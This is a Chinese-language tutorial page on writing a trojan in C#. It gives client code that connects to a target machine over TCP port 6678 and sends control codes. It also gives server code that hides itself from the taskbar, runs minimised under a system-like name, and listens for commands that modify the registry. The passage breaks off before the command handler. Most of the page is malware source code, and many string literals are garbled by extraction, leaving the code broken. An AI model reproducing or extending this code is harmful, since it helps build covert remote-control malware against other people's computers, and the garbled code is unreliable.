木马编写教程学习木马编写的好资料 联系客服

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1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)

Hostname 是要控制的主机名称,当然你也可以用IP地址。 Port是端口。

// System.EventArgs包含事件数据类的基类

private void button7_Click(object sender, System.EventArgs e) {

//记录操作,在richTextBox控件中增加操作信息

richTextBox1.AppendText(\请求连接\int port =6678; try {

//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 client = new TcpClient(textBox1.Text,port); } catch {

MessageBox.Show(\服务器不在线!确定是否输入主机名称.\richTextBox1.AppendText(\服务器不在线!确定是否输入主机名称.\}

}//private void buttion

2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。

//提供网络访问的数据流 //private NetworkStream stream; 代码如下:

private void button8_Click(object sender, System.EventArgs e) {

//纪录操作

richTextBox1.AppendText(\测试连接\try {

stream = client.GetStream(); if(stream.CanWrite) {

//发送控制码

string control = \

byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());

stream.Write(by,0,by.Length); //下次使用 stream.Flush();

//启动接收反回数据的线程

//receive是线程执行的函数,见后面的分析 threadReceive = new Thread(new ThreadStart(receive)); threadReceive.Start(); } }

catch(Exception ee) {

richTextBox1.AppendText (ee.Message+\MessageBox.Show(ee.Message); } }

3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e) {

//这里是确定要发送的控制码,RadioButton是窗体控件 if(radioButton1.Checked){ control = form2.zhucex;} else if(radioButton2.Checked){ control =form3.zhuces;} else if(radioButton3.Checked){ control = warring;} else if(radioButton4.Checked){ control =suggest;} else if(radioButton5.Checked){ control =form4.mumawe;} else if(radioButton6.Checked){ control =drop;} if (control ==\{

MessageBox.Show(\你没有输入任何控制目标!不发控制信号\richTextBox1.AppendText(\你没有输入任何控制目标!不发控制信号\}

else if(control != \{ try {

//记录操作

richTextBox1.AppendText (control + \正在试图控制,等待回应......\stream = client.GetStream(); if(stream.CanWrite ) {

byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); stream.Write(by,0,by.Length);

stream.Flush();

threadReceive =new Thread(new ThreadStart(receive)); threadReceive.Start(); }//endif }//try catch {

richTextBox1.AppendText(\服务器未连接1控制无效!\MessageBox.Show(\服务器未连接1控制无效!\} }//else if }

4、线程执行的函数

private void receive() {

//设置读取数据的空间 byte[] bb = new byte[3];

//读取3个字节,i为实际读取的字节数 int i = stream.Read(bb,0,3);

//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); string ss = System.Text.Encoding.ASCII.GetString(bb);

//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 if(ss==\{

MessageBox.Show(\连接成功\richTextBox1.AppendText(\连接成功\}

if(ss== \{

richTextBox1.AppendText(control +\控制成功\MessageBox.Show(control +\控制成功\} }

服务端的开发:

要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。

当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent() { // // Form1 //

//窗体显示的起点和大小

this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(368, 357); //窗体名称

this.Name = \//设置属性让它后台运行 this.ShowInTaskbar = false; this.Text = \

this.WindowState = System.Windows.Forms.FormWindowState.Minimized; }

2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数 { //

// Windows 窗体设计器支持所必需的 //

InitializeComponent(); //

// TODO: 在 InitializeComponent 调用后添加任何构造函数代码 //加入你的侦听代码

//端口你可以自已设定,我使用了固定的端口 int port =6678;

//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 listener = new TcpListener(port); //启动侦听 listener.Start();

//增加接收控制码的线程,如果要停止线程可以用 Thread.abort() //reControlCode 是线程启动执行的函数,此函数根据接收的控制 //控制码选取合适的注册表修改函数

Thread thread = new Thread(new ThreadStart(reControlCode)); thread.Start(); }

reControlCode函数如下,完整代码见程序 private void reControlCode()